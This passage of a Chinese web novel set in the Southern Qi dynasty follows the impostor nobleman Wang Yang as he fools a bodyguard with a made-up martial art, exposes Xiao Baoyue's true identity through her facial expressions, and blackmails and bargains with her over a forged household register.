心一震惊了:“这么多!” 王扬摆手:“不算多。” “你不会在骗我吧?”心一露出怀疑的神色。 “不到一百个,绝对是真的,你家少主也知道。” 好厉害......难怪少主说他不好杀,这么多护卫,确实不好杀。 “他们身手怎么样?”心一又问。 王扬挥着扇:“一般吧,不过他们都不会‘弧幽指’。” 心一费解:“弧幽指是什么?” “弧幽指是一种极厉害的功夫,被弧幽指戳中后,一炷香内不能跳舞,否则很快就会全身麻木定住,要半个时辰后才能恢复自如。” 心一大为吃惊:“怎么可能有这种功夫!你胡说的吧!!!” 刷! 王扬扇子突然一合,面容肃穆: “弧幽指乃东周时武学大宗师公子南所创!公子南曾凭此指扫荡奸邪,震慑群小!一指之下,豪杰束手,谁敢轻举妄动? 后人有诗赞曰:‘公子弧幽术,奇招震九渊!灵犀通妙窍,内劲隐幽绵。触身如寒芒,摄魂似冷烟。乾坤藏指意,万古仰青天!’ 所谓弧者,曲也;幽者,深也。弧幽一指,曲径通幽,化劲贯深。指力所至,如风过林,如月照水,无形无迹,摄人心魂!中者如坠云雾,身不由己,若强行舞动,则气血凝滞,四肢僵直,须臾难解。 鄙人就是忽悠指第三十三代传人!其他东西开开玩笑无所谓,但这种武林绝学,我会拿来胡说吗?” 心一听得小嘴都合不拢了,一双眼睛瞪得溜圆。本来她怎么都不会相信世间有这种奇怪功夫的!但王扬说得太过顺理成章,一气呵成,实在由不得她不信。因为在她的眼中,世界上是绝对不可能有人在眨眼之间便编出这么大一篇东西来的。 再说还有诗为证,这下就不得不信了! 公子南?完全没听过,好厉害的样子!回头问问少主,说不定她在书里读到过。 心一呆了半晌,忍不住问道:“这弧幽指戳着疼吗?” “一点都不疼。” “那你戳我试试。” 王扬迟疑道:“这不好吧。” “哎呀是我主动让你戳的,有什么不好的?!我太好奇了,想见识一下!” 王扬想了想,才勉为其难道:“好吧,但为了避免伤你元气,我只用三成功力,让姑娘感受一下就好了。” 心一郑重点头:“麻烦了。” “你过来。” 心一靠了过去。 “近点。” 心一向前蹭了蹭。 “再近点。” 心一又向前挪了半步。 王扬弯弯手指:“头靠过来。” 心一弯腰,有些害怕的样子,王扬忍住笑,运掌成风,出指如龙,煞有介事地做了几个运功动作,然后用力戳了一下心一脑门。 嗯,给戳红了。 心一后退着揉揉脑门,茫然道:“也没反应啊。” 王扬淡定说道:“一来我用的是三成功力,反应不会这么快。二来你得先跳舞。” “哦对......那我跳什么舞呢?” 王扬沉吟道:“最好是几个月内新学的舞蹈。” 心一满头问号:“为什么要新学的呢?” 王扬做高人模样道:“汝岂不闻苟(茍)日新,日日新,又日新?” 心一摇头。 “简单来说就是新学的舞蹈,动作尚未纯熟,气血运行更容易受到影响。若是跳那些早已烂熟于心的舞,身体早已习惯,弧幽指的效力便难以显现。主要是我不想伤你元气,所以只用了三成功力,不然跳新跳旧都一样了。” 心一想了想道:“那我跳‘愿作鸳鸯不羡仙’吧,可以边唱边跳吗?不然没有节奏。” 王扬一脸严肃:“边唱边跳效果更好,所谓唱跳三遍,其义自现。开始吧。” 心一口中小声哼着歌,双手轻轻抬起,指尖如兰。手臂回展收缩,似行云舒卷;腿足进退屈伸,若流水蜿蜒。 舞步随着歌声起伏,行云与流水渐渐融在一起。 云里是轻漾的水,水中是揉碎的云。 云水合一,江天一色,恍如沧海月升,波光流于星幕;恰似洞庭湖平,木叶落于秋汀。 裙袂散作蝴蝶影,纤腰摇就柳丝情。 王扬饮酒观舞,笑意清浅。 ...... 而当萧宝月到来的时候,见到了让她瞠目结舌、难以置信的一幕: 她的贴身近卫、武婢统领心一,正在给王扬跳舞!!! ———— 注:《南齐书·高逸传》:“宗测,字敬微,南阳人,宋征士炳孙也。世居江陵......颇好音律,善《易》《老》,续皇甫谧《高士传》三卷。” 第221章 退路 “心一,你在做什么?!” 萧宝月差点以为自己在做梦,着实反应了一会儿才想起来开口。 心一边跳边按着曲子节奏,半说半唱道:“少主——你、来、啦!心一——中了——弧幽——指——” “你中了什么???”萧宝月声音陡然高了三分。 心一跟只小蝴蝶似的在那儿转圈: “弧幽指——是一种、很奇怪的、功夫——再跳一遍——心一就会被——定住啦!” 萧宝月被气得胃都痛了,猛地瞪向王扬!目光如刀! 王扬双手一摊,做无辜状。 萧宝月美眸眯了眯,强忍怒意,压住声音,催促心一道:“快下去!” 心一莲步勾移,踢腿下腰:“还有、一遍,就快、好啦!” 萧宝月攥紧手掌,胸口起伏如峦,眉间煞气疯狂凝聚: “不要跳了!马上下去!” 心一动作一僵,苦着小脸,小表情可怜兮兮地恳求:“少主......” 王扬道:“好了好了,心一,先别跳了,要看效果也不一定非要跳完的。” 心一很困惑:“啊???” “你是否感觉到越来越热?” 心一用力点头:“是的!” 王扬又问:“你知道合谷穴在哪吗?” 心一摇了摇头。她的母亲是溪人,父亲是汉人,她的功夫是母亲家传的,只讲致命部位和关节,没有讲过穴位什么的。 王扬伸出右掌,给心一指了一下合谷穴: “你现在用力掐按自己右手的这个位置。” 心一乖乖照做。 王扬道:“用力按!有没有一种发酸发麻的感觉?” 心一惊呆了:“有的有的!发酸发麻!” 王扬扭过脖子,手按示意:“这是风池穴,你使劲按一按,痛不痛?” 心一双手扣颈后,用力一按,顿时又惊又服,小鸡啄米似地点头:“痛的痛的!” 王扬开扇而挥: “所谓热从心起,麻自手生。痛入合谷,僵上眉峰。你现在已经到了第三个阶段,现出气血凝滞之兆。再跳下去,就是眉额僵硬,四肢难行。看来我这三成功力还是用得多了,不是你能抵挡住的。” 王扬眉心微皱,轻叹一声,摇了摇头,彷佛后悔之前发力太过、伤了心一一般。 心一小嘴微微张开,露出一抹震撼与钦佩的神情,惊叹道:“好厉害......” 萧宝月在愤怒的边缘徘徊已久,此刻实在听不下去了,提声叫道:“心一!!!” 心一本来如在梦中,被萧宝月一声惊醒,看向萧宝月,眼神中还带点小迷糊: “怎么了少主?” 萧宝月气不打一处来,几乎是从牙缝里挤出两个字: “下!去!” “噢!心一遵命!” 王扬笑着向心一轻轻挥手作别。 心一笑容灿烂,也向王扬挥手。 萧宝月见此场景气得手都要抖了!马上给了心一一个杀气腾腾的眼神! 心一吐了吐舌头,飞速撤离。 心一走后,萧宝月坐到王扬对面,冷着脸,看着王扬,刚要开口,心一突然折回,扒门道:“话说我回去接着跳舞还会被定住吗?” 王扬道:“我这次只用了三成力,要出效果,舞是不能断的,现在既然已经断了,就不会定住了。” “哦。”心一想了想,又说道:“那下次——” “滚!!!!” 萧宝月恶龙咆哮! 心一瞬间消失。 萧宝月深吸一口气,重新看向王扬。冷艳殷唇,扯出一个似笑非笑的弧度,眼中却无一丝一毫的笑意: “王公子好手腕,才多大一会儿,就能让我的人给你跳舞,要是再聊聊,我的人岂不是要变成你的人了?” 王扬不悦道: “什么你的我的?咱们是合作,分什么你我啊!这不把话说外了嘛!” 萧宝月冷笑: “好啊,那就不往外说,往内说!我现在看你跳舞,你给我跳一个吧!” 王扬呷了口葡萄酒,慢悠悠道: “天下不如意,恒十居七八。想的事未必都能成。就像我一直想看你跳舞,但你也不能跳一样......” 萧宝月再也忍不了!噌一下站起,原地爆发: “王扬!!!我今——” 王扬面无表情,竖起一根手指: “巴东王的蛮路我已查明,你听不听?” 萧宝月声音戛然而止,娇身尚在微微颤动;秋水长眸中,熊熊怒火还在燃烧!可又像被一盆冷水当头浇下,多了几分惊疑与猝不及防。 思量几过,萧宝月咬牙道:“听。” 王扬折扇往下点了点,淡声道:“听就坐下。” 萧宝月红唇一抖,一股火直冲天灵! 宝月! 忍住!! 不要冲动!!! 等此间事了,再收拾他!!!! 萧宝月给自己做了一会儿心理建设,又狠狠瞪了王扬一眼,然后不情不愿地坐了回去,从愤怒恶龙变成冰山美人,眉梢上彷佛带着与生俱来的高傲,声音冰冷地吐出一个字: “说。” 王扬一笑,简单地告诉萧宝月,孔长瑜力荐永宁蛮,反对武宁蛮和宜都蛮。 没有任何细节,萧宝月自然无法判断,便道:“你说详细些。” 王扬明知故问:“什么详细些?” 萧宝月眸色一寒: “王扬,我之所以和你合作,是因为你助我探查巴东王通蛮一案,不然你以为自己能像现在这样坐在这儿和我说话吗?” 王扬眼神无辜: “我助了啊!你让我套巴东王的话,我套了。让我探孔长瑜的底,我探了。我可是殚精竭虑,呕心沥血!换别人来,还真不一定能成!” 萧宝月冷哼一声,鄙夷道: “早知道你不会痛痛快快地告诉我,说吧,想要什么?” 王扬看着萧宝月: “你想要蛮路,而我,想要退路。” “什么退路?”萧宝月问。 “第一、你之前说过保我身份不露,这句话得兑现吧?怎么兑现呢?自然是帮我落实琅琊王氏的身份了。 第二、你让我背书的时候说,将来巴东王事发,牵扯不到我。这句话得担保吧!怎么担保呢?你写份东西,说明在巴东王一案上,我做的所有事,都是依你的命令而行的。 这两条你办了,我的退路就有了,你要的蛮路,也有了。” 萧宝月眸中闪过一抹嘲讽: “我猜到你会就蛮路的事儿,趁机要点好处,但我没想到,你会白日做梦到这种地步! 我可以明白地告诉,你这两条,我一条都不可能答应! 保你身份不露是我说的,但我说的是让你在荆州不露,至于其他,我可没那个本事! 巴东王通蛮牵扯不到你,也是我说的。但前提是你要配合我查案!配合好了,你自然不会有事,这是我的保证。 你要信便信!不信的话,我也没办法! 让我写说明什么的,那就更不可能了!我要是让你写你冒姓琅琊的供述,你写吗?” 王扬露出个微笑: “首先,你不要太谦虚。 你神通广大的,什么本事没有?我对你很有信心! 其次,我这个人擅长配合,但不擅长相信。 你要是能让我信我便信!不能的话,我也没办法! 至于冒姓琅琊的供述......如果你愿意和我一起写,那完全没问题啊!” 萧宝月目光冷冽: “你自己冒姓琅琊,我和你写什么?” 王扬理直气壮道: “是你帮我冒姓的呀!堵戍卒口供、改尚书省回信、让我背诵家族信息,我能冒姓,有你的助力呀!我不早和你说过了吗?难道忘了?我这案子,咱俩是一个主犯一个从犯,写供述不得一起写吗?” 萧宝月看着王扬,冰冷的容颜上忽然绽出一笑,笑容冷艳而危险,仿佛寒霜中盛开的玫瑰,美得令人心惊,却又带着刺骨的寒意。 她好整以暇地捧起茶盏,修长的手指白晃晃地滑过盏腹,动作优雅又显出几分妩媚,慢悠悠开口道: “你是不是已经忘了自己是谁?你是不是以为就凭这些,你就有资格跟我谈条件了?” 王扬折扇轻轻一展,语气感慨: “你说的这个话对。世象扰攘,红尘万丈,人处其间,难免迷眼。若是迷得久了,说不定就忘了自己是谁。反正我是没忘自己是谁——” 王扬说到这儿一顿,以手支颊,饶有兴味地看向萧宝月: “但你是不是忘记自己是谁了,萧娘子?” 茶盏应声落地...... ——————— 注:挥手告别古已有。刘琨《扶风歌》云:“挥手长相谢,哽咽不能言。”谢灵运《过始宁墅》云:“挥手告乡曲,三载期归旋。”《文选五臣注》注此句云:“挥,举告辞也。言举手辞乡人。” 第222章 操纵 茶盏的碎裂声清脆刺耳。萧宝月立即站起,背对王扬,叫道:“来人,收拾一下。” 两个婢女进门,飞快地将地面清洁干净,然后静悄悄地退走。 萧宝月也迅速整理好表情,回身莞尔一笑: “上午抄了半日《世要论》,不意手腕酸弱至此,竟连茶盏都拿不稳了。” 王扬扶额: “萧娘子,你这演技也太拙劣了......” 萧宝月眸色茫然: “萧娘子是谁?演技?什么是演技?” 王扬替萧宝月尴尬到不忍直视: “萧娘子你真要这样吗?” 萧宝月手指紧紧掐着掌心,强撑说: “公子的话我听不懂了,为什么一直称我为萧娘子?” 王扬无语,直接道: “因为西昌侯姓萧,所以你也姓萧呗......” 萧宝月露出荒诞的表情,仿佛差点就要乐出声似的: “你这话真是越发奇怪了。西昌侯姓萧,与我何干?不过我确实见过西昌侯,她的女儿我也认识......” 萧宝月说到这儿吸了口气,略显惊诧地看向王扬: “你不会认为我就是西昌侯的女儿吧!” 王扬看向萧宝月,眉眼间全是促狭的笑意,缓缓道: “我可没说是女儿......” 萧宝月神色一僵,随即强行轻笑一声,语气中带着几分戏谑: “你要是——” 王扬神色嫌弃,直接打断道: “停停停。实在看不下去了!萧娘子,演戏的奥义在于自然,因为自然代表着真实,你只有给出自然的反应,才能让人相信你的戏是真的——” 萧宝月还在挣扎:“如果你非要把我当成——” 王扬一笑:“你看,你现在这个反应就是不自然。什么是不自然?就是和从前的行事风格或当下的事理逻辑相悖。想要演戏,就得先入戏。你现在可以设想一个场景,如果你的真实身份不是萧娘子,而我把你误认成萧娘子,你会是什么反应?” 萧宝月怔住。 “从一开始你的反应就不对,茶盏落地就不说了,算是被突如其来的揭破给吓到了,也能理解。但你之后的应对实在没眼看。站起来转身也就算了,毕竟你起码知道自己掩藏不好情绪,还懂得藏拙。但你转身的理由也太牵强了!叫人收拾需要站起来吗?另外你站起来之后那一笑,太过刻意!当一个有意隐藏情绪的人,突然意识到某种表情会泄露情绪,就会立刻中断表情,而中断这个的过程,就叫squelched expression,或者名之为‘碎表情’.......” 萧宝月:??? “思怪什么?这是什么语言?”萧宝月懵懵地问。 萧宝月此时尚未意识到,两人之间已不知不觉地切换成上课模式。 王扬故意不回答,而是用淡淡的目光看了萧宝月一眼,然后继续说道: “比如我之前说西昌侯没有女儿的时候,你神色一僵,这就是碎表情。而碎表情一旦出现,人们通常会用其他表情来掩盖,最常用的是微笑,而正常的微笑一般只维持四到五秒,哦,四到五息,比如这样。” 王扬说到这儿,向萧宝月微微一笑。 萧宝月不知道为什么,竟下意识避开王扬的笑容与目光,转而抬手扶了扶发间的宝凤金钗。 王扬注视着萧宝月: “微笑若是超过这个时间,就可能是为了掩藏某种情绪或者因其他缘故而产生的假笑。不光表情可以泄露情绪,动作也同样可以,比如你现在这个动作,代表你紧张。” 萧宝月立即放下手,摆出不屑的神色: “呵!我为什么要紧张?” 王扬彷佛在认真研究什么东西一般,十指交叠托于下颌,凝视着萧宝月的眼睛,喃喃道: “是啊,我也想问你,为什么紧张......” 萧宝月脸颊微微一热。 他......他是什么意思? 她从来没有过这种感受,只觉对方深不可测,难以估量,而自己在他面前好像完全被看穿、完全被算定一般,她有些慌乱,但更多的是疑惑: “你到底是谁?这些东西都是从哪学的?” 萧宝月最开始根本不在意王扬的身份,只不过把他当成一个可供驱遣的小卒罢了。后来这个小卒屡屡让她惊奇,她开始对他感兴趣,再往后则到了不得不正视,甚至在某些方面是不得不仰视的程度。 她之前认为他是起于草野之中的、有特殊际遇、类似苏秦、张仪一类的人物。可就算苏秦、张仪,也得有老师吧?就算天才颖悟,读书通世事,可哪种书上会讲微笑的时间?讲什么碎表情???孔明隐于南阳而知天下事,但即便诸葛武侯也不能自己从书中学会一种语言吧?他刚才说的是什么语言? 萧宝月曾经想过查王扬的身份,可没头没尾的实在不好下手,唯一的线索是那几个戍卒的口供。但北谍什么的明显是王扬在胡扯,与他一起出现的几个人现在又死无对证,更重要的是她在荆州能动用的力量极其有限,一来没有精力去查,二来也怕引起不必要的关注,反而漏了行迹。 其实不查也无所谓,她来荆州是下棋的,只要这棋子移到她需要的位置,那她又何必去管这颗棋子的来龙去脉?不过是一颗棋子而已,用完就可以丢掉。但她实在不能不好奇,不能不疑惑,所以她明知道王扬不会告诉她答案,但还是忍不住问出口——“你到底是谁?这些东西都是从哪学的?” 王扬自然没有回答,而是反问道: “你想学吗?” 萧宝月看着王扬,露出一丝费解的神色。 王扬与萧宝月对视,认真说道:“如果想,我可以教你。” 萧宝月油然一喜,下意识点头,随即猛然惊醒,拍案怒道:“你竟敢诱导我!” 萧宝月用词不准确,王扬所做的,是操纵。 要操纵,首先要有关系。 单人不存在关系,两人以及两人以上的交往便可能形成关系,比如买卖关系、朋友关系、上下级关系等等。而每一段关系都存在影响力和说服力,小到今天去哪家餐厅吃饭,大到决定是否向邻国开战。当有人试图运用自己的影响力和说服力引导决策、掌控事件走向时,操纵就产生了。 操纵的核心逻辑在于得失。有想要得的,则可能被诱;有担心失的,则可能被牵,几牵几诱之中,便易踏入陷阱。 王扬自从“登堂入室”开始,便反复让萧宝月陷入情绪波动之中,并时不时地给她施加心理压力,讲课中若有不如意,便毫不客气地中断授课,让萧宝月在“想要王扬授课”(得)和“担心王扬中断讲课”(失)中徘徊摸索,逐渐向被动、弱势的地位转换。 而王扬也不断抛出新的诱饵,从治蛮策,到史学,现在又是心理学,如果有必要,王扬还会继续抛,只是节奏要掌握好,而幸运的是,王扬擅长掌握节奏。 他要做的,是对萧宝月建立并逐步加大心理优势。 他通过言语和表情,不断引导萧宝月的情绪和反应,让她不自觉地陷入他的节奏中,影响她的思维,争取关系中的主动,以求自保。 没办法,两人天然不平等,若非他步步为营,现在恐怕连坐着和萧宝月说话的资格都没有。 如果说开始时萧宝月靠着权势和身份,根本没把王扬放在眼里,只想把他变成一个唯命是从的奴仆。 那王扬则凭借智略才气,一步步地将萧宝月逼到谈判桌上,最后自己也成功地在谈判桌对面坐了下来。 这是一场旷日持久又没有硝烟的战争,胜负不在刀光剑影,而在人心博弈。 萧宝月虽然在人情周旋上有着短板,但毕竟聪慧,很早便意识到王扬在耍花招,只是意识到是一回事,本能的陷入又是另外一回事。就像现在萧宝月叫破王扬在诱导她,但连她自己都搞不清楚,她是从哪一刻开始被诱导,又一共被诱导了多久?而现在叫破诱导的她,难道真的就跳出诱导之中了吗?情绪失控,方寸大乱,难道不更有利于王扬的诱导吗?! 萧宝月忽然觉得有些害怕,但久违的恐惧感没有让她失措,反而让她变得冷静、清醒。 她迅速镇定下来,重建心防,并且很快发现自己身份的破绽所在,沉吟道: “我的身份是谢星涵那个蠢丫头泄露的吧?因为我两次告诫你不要勾引侍女,所以你想到谢星涵身上去了......但你不敢告诉她你冒姓的事,所以你应该是套话套出来的,嗯,很聪明,但你是不是忘了一个问题——” 萧宝月此时气场与之前判若两人,她直视王扬,目光危险而压迫: “一个人如果连命都没了,那聪明还用吗?” 王扬老神在在地从袖中取出一卷书稿,手腕一抖,第一页展出,切断了萧宝月的目光。 萧宝月妩媚长眸中汇集起的杀伐果断顿时化为错愕凌乱,因为扉页上写着八个大字: “我与萧娘子二三事。” ———————— 注:关于“碎表情”参保罗·埃克曼的《说谎:揭穿商业、政治与婚姻中的骗局》第五章,埃克曼算是“明星学者”了,在测谎领域具有开创性建树,美剧Lie to Me就大量参考了他的说谎研究。 第223章 我与萧娘子二三事
第223章 我与萧娘子二三事 “自古香奁之迹,史笔所讳;珠帘之秘,墨客难描。 盖闺阁深静,行事多隐;重门掩闭,音容罕彰。 故使红颜心事,深锁闺闱;芳踪杳渺,空留余韵。惜哉! 且文士臆测,每多附会;骚人谬撰,常陷穿凿。 遂令洛神虚赋,徒留凌波之影;湘妃妄传,空余斑竹之诞。 毛嫱、绿珠,皆成纸上之姿;神女、麻姑,尽堕笔下之幻! 此诚佳人丽姝之奇冤,亦为文人记事之陋习也。 余感天下闺阁轶事,罕有真传,故为吾友萧娘子作传,明其事皆可征,言非无据。兰心蕙质,岂独咏絮之才?鸿图远略,实有经纶之志......” 萧宝月气得浑身发抖,连指尖都捏白了! 这奸贼为了避免别人不把书的内容当真,还着实铺垫了一番,强调自己不会臆测空撰!又故意惑人耳目,引人遐思,竟说什么“红颜心事,深锁闺闱”! 更可恶的是他还打出“感天下闺阁轶事,罕有真传”的幌子,一副要一笔独断,拯冤扫弊的架势,是摆足了噱头,吊足了胃口! 这是打定主意,不耸动视听他不甘休啊! 还一开篇就说她有“经纶之志”! 其意何其险毒! 其心何其可诛! 另外这明明气得要死,但还忍不住继续看下去是怎么回事!!! 王扬一边饮酒,一边漫声道: “我这个人,从来不白受恩惠。‘美人赠我金错刀,何以报之英琼瑶。’萧娘子赠我《南蛮统考》,我岂能无所回报?所以写了这卷《我与萧娘子二三事》。但我后来又想,萧娘子行事隐秘,掩迹幽微。志向宏远,所图者大,未必愿意让人知道你谋局荆州、智算亲王的‘盛举’。所以我还是把这书藏好,另选别的回报。” 王扬略微停顿,语气一转:“可我又想,万一我还没来得及回报,就出了这么意外,那怎么办呢?” 王扬一挥手,豪声道: “不要紧!我已做好了安排,我一出事,书即面世!到时必风靡荆州,流传后世,也算为萧娘子扬名了!” 卑鄙! 无耻!! 萧宝月俏白的鼻翼翕动着,书纸已经被她攥得褶皱不堪,恨不得直接把这破书糊他脸上!!! 萧宝月急怒之间,心念电闪,突然眸光一敛,收起所有怒意慌乱,玉腕轻抬,将书稿随意扣在桌上,轻描淡写地说: “杜撰之言,有我何干?我一直在建康,谁能证明我来了荆州?” 王扬声音同样轻描淡写: “在荆州,我说的话,需要证明吗?” 萧宝月不慌不忙: “以公子现在的声誉,自然是一言九鼎。但如果冒姓琅琊的事败露——” 她看向王扬,笑意盈盈: “我有办法让你从天才贵公子,变成我朝开国以来最大的骗子,你信不信?” 王扬没有一丝停顿,接口道: “我信啊!我之前就说了,你神通广大的,什么本事没有?我是绝对相信你的实力的。只不过——” 王扬露出一丝不怀好意的笑:“我信的人,可不止萧娘子一个......” 萧宝月目光一冷:“你要把谢星涵扯进来?” 王扬摇了摇头:“还是不要让她参与这些破事儿了。” 萧宝月稍感安心:“那你什么意思?” 王扬把玩着折扇,慢条斯理地说道: “我是说,如果有人把这卷书,或者说口供,献给竟陵王的话......” 萧宝月脸色大变:“你竟敢挑动皇子内斗?!!” 王扬嘴角勾起一抹嘲讽: “内斗你才是一把好手!你都代表太子来荆州搞|他亲弟弟了,你胆子不比我大啊!诶等等,你父亲是皇上堂弟,那你和巴东王岂不也算堂亲?所以你——” “巴东王通蛮是实!我来荆州是为朝廷查案!!” 王扬表情夸张: “哦——原来是这样! 失敬失敬! 萧娘子这是奉了天子密诏要办他儿子? 还是说你专门负责监察皇子?” 王扬冷笑一声: “别给自己脸上贴金了! 你无官无爵,查案轮着你? 事涉储君,越俎代庖!窥伺皇子,冀有变生! 这事儿合不合法度,犯不犯忌讳,自己心里没数吗? 巴东王通蛮是实! 你内斗党争也是实! 我要是竟陵王,直接卞庄刺虎,一箭双雕......” 萧宝月气急攻心,胃中绞痛,脸颊惨白,身体一点点蜷了起来。 王扬看萧宝月突然伏在桌案上,身体蜷缩轻颤,试探道: “怎么了?西子捧心啊?” 萧宝月微微抬起头,声音虚弱:“你......继续......” 王扬瞧了瞧萧宝月的脸色,又见她原本嫣红的嘴唇此刻已失了血色,觉得她应该不是在装病,毕竟自己忽悠王泰的时候想把手弄凉,也得去浸凉水,她演技再高,还能把血色演没? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“还继续啥呀,你先养病,养好了再继续。” “不.......必!”萧宝月紧咬下唇,眼神倔强。 王扬直接叫道:“来人,看看你家少主!” 几名侍女匆匆而入。 “少主!” “少主旧疾犯了,快去取药!” “扶少主入内!” 萧宝月冷汗浸额,艰难地吐出两个字: “退下。” “少主!” 萧宝月强撑着坐起,唇紧抿着,几根发丝粘在脸上,衬得玉颜越发憔悴: “我说了,退下!” 侍女们不敢违拗,只好退了出去。 王扬:...... “要不你先吃药?” 萧宝月有气无力地摇头,动作极轻,却藏着一股执拗的坚定。 她本有倾城色,是妩媚天成之体,此时红颜虽损,妖娆远压黛玉。弱体支离,风华稍减西子。病骨强撑,犹带三分倔强;冰唇暗咬,不输一缕孤高。当真是处处皆堪怜! 若换做心肠软的,见了她这副模样,怕早已心尖儿发颤,恨不得将世间所有良药寻来,只为换她片刻的安宁。可王扬却仿佛铁石心肠一般,毫无动容道: “你即使带病和我谈,我也不会让步的。” 萧宝月长眸低垂,声音黯然: “我知道......即便我死了,也和你,没有关系......” 也不能说没关系嘛,你要是死了就不能威胁我了,我也不能反威胁回去借此火中取栗了...... 王扬心里虽然这么想,口中却道: “咱们是合作伙伴嘛,怎么能说没关系呢?你还是先吃药,说不定你一直不开窍,咱俩还得打持久战,且有的谈呢......” “持久战?又是个新鲜词儿......不过公子放心,不需要持久战的,我沉疴如此,又如何能久?” 萧宝月宛若心灰意懒一般,声音虚弱,还带着几分苦涩的自嘲,犹如重病难愈,不知何时便会香消玉殒似的。 王扬不动声色道: “魏武云:‘天地何长久,人道居之短。’久是天地的事,尘寰俗人,都谈不上一个久字的。” 萧宝月心中大骂王扬,纤手按胃,脸上仍是一副痛苦柔弱的表情: “小女子斗不过公子,这就认输了。公子说的那两条,我都答应。只是希望公子说话算话,不要再为难我。” “萧娘子这话说的,我只要退路,如何能为难人?” 萧宝月眉头紧紧拧在一起,腰身再蜷,仿若一只受伤的小鹿一般,断断续续道: “请公子......告知......蛮路详情。” 王扬问:“我那两个条件......” “我......已经......答应了,公子......放心......” 萧宝月摇摇欲坠,仿佛强抑着翻涌的疼痛,好像每出一声,都要耗费不小的意志力。 王扬视若无睹: “答应也不能空口白牙地答应的啊!” 萧宝月眼眸如秋水含烟,蒙上一层薄雾: “身份的事......急不得.......写字的话.......我暂时......无法提笔......” “那不急,你就先养着吧,养好咱俩再谈。” 萧宝月声音痛楚:“不......不可。巴东王......快出货了,我得......早做安排.......不能再拖了。” 王扬认真道:“是啊,所以你得赶快让自己好起来,不能再拖了。” “我的旧疾......一旦发作.......十天半月也......好不了。公子先把蛮路......” 萧宝月正声若游丝,忽然听到王扬说: “没关系,我早帮你写好了。你签个名,再押个印就行。” 然后一张“依萧娘子令行事录状”便飞到萧宝月眼前。 萧宝月被气得七窍生烟!也不演了,坐起来一把夺过那张纸,撕得粉碎! “王扬!你当我三岁孩童,任你摆布不成?!我虽在病中,却还未到任人欺辱的地步!!!” 王扬笑道:“你病好了?那咱们可以接着谈了。” “你做梦!你那两个条件我不可能答应!死都不可能!!” 萧宝月愤怒而决绝! “又不是什么大病,别死呀活呀的。这样,看你在病中,我让一步,第二条就算了,只要第一条就行。” “第一条也不可能!琅琊王氏的身份,谁能落得实了?!你真以为我能改了王家家谱?!” 王扬沉吟了一会儿,“勉为其难”地说道: “那我再让一步吧,你不需要帮我坐实身份,只要在尚书省左户曹前厢中甲乙两库的户籍牒档给我补个籍,和荆州挂籍相应,就可以了。我已经退了两步,这是我最后的条件,不会再让。如果你不应,我转身就走,没有再谈的余地。” 萧宝月眉梢微挑: “走?你以为没有我点头,你能走得出去?” 王扬放肆而笑,手中折扇一甩,散开梨花雪,抖落流云霜,声音清朗又带着几分冷意: “萧娘子,刘寅前车之鉴,你是想亲自试一次吗?” 喜欢关于南朝贵公子是我冒充的这回事请大家收藏:()关于南朝贵公子是我冒充的这回事更新速度全网最快。 第224章 胆小者游戏
第224章 胆小者游戏 萧宝月眸色渐沉: “原来你闹这么大动静,不只是要除刘寅,还是做给我看的,我说嘛,早早让我订了香雪楼的席面,这是生怕我没注意到,错过了好戏......” 王扬微微一笑: “好戏轰动荆州,还怕萧娘子不知道?主要是想吃香雪楼了。” 萧宝月不信:“想吃香雪楼不会自己订?” 王扬像看白痴一样看着萧宝月:“自己订不得花钱啊......” “你!!!” 萧宝月咬牙切齿,又气又怒!好不容易平复的心情再次激动起来。本来因为之前的胃痛脸色惨白,现在居然给气得血气上涌,又恢复了点血色! 她实在难以想象,一个人居然可以招人恨到这种地步!!! 这小贼难道是有什么特殊的气人本领吗?!! 王扬看萧宝月气急败坏的模样,劝道: “你看你,一顿香雪楼的事儿,你至于嘛——” “怎么不至于!!!”萧宝月炸了。 “好了好了,不就是顿香雪楼吗?我回请你!咱俩现在就去,到了之后,你尽管挑贵的点,我一声不吭!” 萧宝月冷笑不止:“这是设好伏兵等着我呢吧......” 王扬心中暗笑,口中道: “你看你,多心了不是?我这是释放诚意!你说从头到尾我给了几次诚意了?已经连让两步——” 萧宝月打断道:“你从头到尾一次诚意都没有!别以为我看不出来!什么让步?你一开始打的主意就是让我改尚书省的户牒!!!” 萧宝月怒视王扬! 王扬也不否认: “你都能改尚书省给巴东王回信呢,改个户牒不算难为你吧?再者令尊不是尚书仆射吗?(副总|理)” 萧宝月眸中闪过一丝讥诮: “你想让我父侯帮你做假户籍?” 王扬向后靠了靠,语气轻松随意: “也不一定非要麻烦侯爷吧?你堂堂侯门女公子,又兼着太子的差事,连这种小事都办不成?” 萧宝月看着王扬,眼神冷冽,缓缓说道: “你真是......不——知——死——活——” 王扬一笑: “子曰:‘未知生,焉知死?。’天下能知死活者,又有几人?” 萧宝月沉默了一会儿,点头道: “你说得不错。好,我可以帮你入籍,但你也得帮我一个忙。” “什么忙?” “你让锦场在绛袄的染料上做些手脚,或者换劣质染料,总之要让它遇水掉色,这样的掉色袄不必多,只做三百件即可。” 王扬顿生警惕:“你想做什么?” “不要问我理由,这是交易。你放心,此事和你完全没关系,两千件锦袍,两千件绛袄,只混进三百件有问题的,不会被察觉。这批货是给蛮人的,蛮人懂什么丝绸?巴东王也不会细细查验。就算查也无妨,除非浸水,否则能看出什么来?你把这三百件袄单独装箱,压在最里面,到时一起交货,神不知鬼不觉。” 王扬沉思不语。 萧宝月无比郑重地说: “你之前说,这是你最后的条件,不会再让。我现在也对你说这句话:这也是我最后的条件,没有再谈的余地。如果你不应,你现在就可以出门,我今天不拦你,但我们的合作就到此为止,你我以后就是敌人。 对付敌人,那自然是无所不用其极。当然,你也可以同样无所不有其极地来对付我,至于结果,你既擅长谋算,那你就谋算一下吧。 如果你应了,我可以再给你一个保证:事成之后,你我两清,以后我不会再对你提任何要求。你也不用再来我这个院子。 巴东王的事儿,你不需再管。你不是千方百计想摆脱我吗?这就是最好的机会。” 萧宝月逼视王扬: “我的话说明白了。现在看你怎么选。是应,还是不应?” 谈判原则之一:不要陷入被动选择。 被动选择是失败的前兆。它意味着你失去了对局面的控制权,只能在他人的框架内做出反应。 高明的做法是跳出选择,将对手引入自己的节奏,掌握主动权。 “萧娘子话说得倒是很明白,只是算得不太明白。” 萧宝月眼眸微眯: “我如何算得不明白了?” “我告诉你蛮路,你给我办尚书省户籍。这叫公平交易。你既让我说蛮路,又让我在绛袄上做手脚,这叫欺行霸市。” 萧宝月目光变得危险起来: “所以你是不应了?” 谈判原则之二:不要做单方面的让步。 单方面的让步不是谈判,而是服从。 正如英国谈判专家盖温·肯尼迪一针见血地指出:“谈判是一种交换。” 